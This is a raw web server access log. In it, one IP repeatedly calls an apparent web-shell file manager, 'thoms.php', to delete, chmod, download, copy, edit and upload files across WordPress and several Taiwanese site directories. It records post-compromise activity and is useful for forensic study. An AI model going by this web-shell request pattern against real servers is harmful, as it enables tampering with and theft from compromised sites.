45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=error_log HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22205 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Ferror_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22134 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?del=error_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /wordpress-6.6.2-zh_TW/error_log HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?chmod=error_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?dl=error_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content/languages/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content/plugins/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?del=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&settings=1 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?del=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?del=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?del=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22247 "https://163.245.207.76:443/thoms.php?del=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?del=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22095 "https://163.245.207.76:443/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?chmod=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22154 "https://163.245.207.76:443/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?chmod=themes&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&view=index.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?chmod=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&upload= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=languages&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22269 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?chmod=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content/themes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?chmod=plugins&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22005 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12536 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17364 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21156 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19361 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13839 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16554 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13571 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:24 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12539 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
